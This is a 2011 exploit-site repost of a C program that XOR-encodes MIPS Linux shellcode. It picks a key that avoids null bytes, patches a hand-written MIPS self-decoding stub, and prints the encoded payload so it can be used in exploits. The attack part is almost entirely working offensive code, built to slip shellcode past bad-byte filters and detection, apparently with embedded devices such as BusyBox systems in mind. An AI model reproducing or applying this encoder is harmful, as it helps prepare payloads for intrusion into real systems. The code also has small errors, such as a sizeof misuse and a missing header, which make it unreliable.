首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MIPS Linux XOR Shellcode Encoder (60 Bytes)
来源:entropy [at] phiral.net 作者:entropy 发布时间:2011-10-19  

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <string.h>

#define DEBUG 0

/*
 *
 * entropy [at] phiral.net
 * mips (linux) shellcode xor encoder
 *
 * \xAB\xCD is overwritten with jmp back offset
 * \x00\x00 is overwritten with the byte its xored with
 *
 * 0. gcc encoder.c -o encoder
 * 1. perl -e 'print "\xsh\xel\xlc\xod\xe0";' > sc.bin
 * 2. ./encode
 *
 * can possibly get rid of \x24\x18\xf9\x9a to be -4
 *
 * sup busyboxen :o
 *
 */

unsigned char encoder[] =
"\x24\x18\xf9\x9a"  /* li $t8, -0x666                  */
"\x07\x10\xff\xff"  /* p:  bltzal $t8, p               */
"\x28\x18\xff\xff"  /* slti $t8, $zero, -1             */
"\x27\xe8\x10\x01"  /* addu $t0, $ra, 4097             */
"\x25\x08\xAB\xCD"  /* addu $t0, $t0, -4097+44+len+1   */
"\x3c\x09\x00\x00"  /* lui $t1, 0xXXXX                 */
"\x35\x29\x00\x00"  /* ori $t1, $t1, 0xXXXX            */
"\x3c\x0b\x01\xe0"  /* lui $t3, 0x01e0                 */
"\x35\x6b\x78\x27"  /* ori $t3, $t3, 0x7827            */
"\x8d\x0a\xff\xff"  /* x:  lw $t2, -1($t0)             */
"\x01\x49\x60\x26"  /* xor $t4, $t2, $t1               */
"\xad\x0c\xff\xff"  /* sw $t4, -1($t0)                 */
"\x25\x08\xff\xfc"  /* addu $t0, $t0, -4               */
"\x15\x4b\xff\xfb"  /* bne $t2, $t3, -20               */
"\x01\xe0\x78\x27"; /* nor $t7, $t7, $zero             */
 
int
main(int argc, char **argv) {

    struct stat sstat;
    int a, i, n, fd, len, elen, xor_with;
    unsigned char *fbuf, *ebuf;
    unsigned char bad_bytes[256] = {0};
    unsigned char good_bytes[256] = {0};

    if (lstat("sc.bin", &sstat) < 0) {
        perror("lstat");
        _exit(-1);
    }

    len = sstat.st_size;
    if ((fbuf = (unsigned char *)malloc(len)) == NULL) {
        perror("malloc");
        _exit(-1);
    }
   
    if ((fd = open("sc.bin", O_RDONLY)) < 0) {
        perror("open");
        _exit(-1);
    }

    if (read(fd, fbuf, len) != len) {
        perror("read");
        _exit(-1);
    }

    close(fd);

    /* try every byte xored, if its \x0 add to bad_bytes */
    for (n = 0; n < len; n++) {
        for (i = 1; i < 256; i++) {
             if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i;
        }
    } 

    /* if its not a bad_byte its a good_one (ordered) */
    for (i = 1, n = 0; i < 256; i++) {
        if (bad_bytes[i] == '\0') good_bytes[n++] = i;
    }
   
    srand((unsigned)time(NULL)); 
    xor_with = good_bytes[rand()%n];

    if (xor_with) {
        printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with);
        
        /* overwrite bytes 18, 19 with subtract addr */
        /* 44 bytes to jmp past our asm + sc len + 1 */
        a = -4097 + 44 + len + 1;
        encoder[18] = (char)(((int)a) >> 8);
        encoder[19] = (char)a;

        /* overwrite bytes 22, 23, 26, 27 of encoder */
        encoder[22] = xor_with;
        encoder[23] = xor_with;
        encoder[26] = xor_with;
        encoder[27] = xor_with;

        elen = strlen((char *)encoder);

        if ((ebuf = (unsigned char *)malloc(elen+len+1)) == NULL) {
            perror("malloc");
            _exit(-1);
        }

        memset(ebuf, '\x0', sizeof(ebuf));
        memcpy(ebuf, encoder, sizeof(encoder));

        for (i = 0; i < len; i++) {
            ebuf[(i+elen)]  = xor_with^*(fbuf+i);
        }

        printf("[S] Shellcode: \n\"");
        for (i = 0; i < strlen((char *)ebuf); i++) {
            if (i > 0 && i % 4 == 0) printf("\"\n\"");
            printf("\\x%02x", ebuf[i]);
        }
        printf("\"\n\n");

    } else {
        printf("[*] No byte found to XOR with :(\n");
        _exit(-1);
    }

    return 0;
}

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WM Downloader 3.0.0.9 (.pls) F
·Linux MIPS execve 52 bytes
·Apple Safari Webkit libxslt Ar
·G-WAN 2.10.6 / 2.10.7 Remote B
·Dolphin <= 7.0.7 (member_menu_
·Opera <= 11.52 PoC Denial of S
·Dos BP Random Member Widget Pl
·Oracle DataDirect Multiple Nat
·Real Networks Netzip Classic 7
·Opera <= 11.52 Stack Overflow
·Apple Safari file:// Arbitrary
·UnrealIRCd 3.2.8.1 Local Confi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved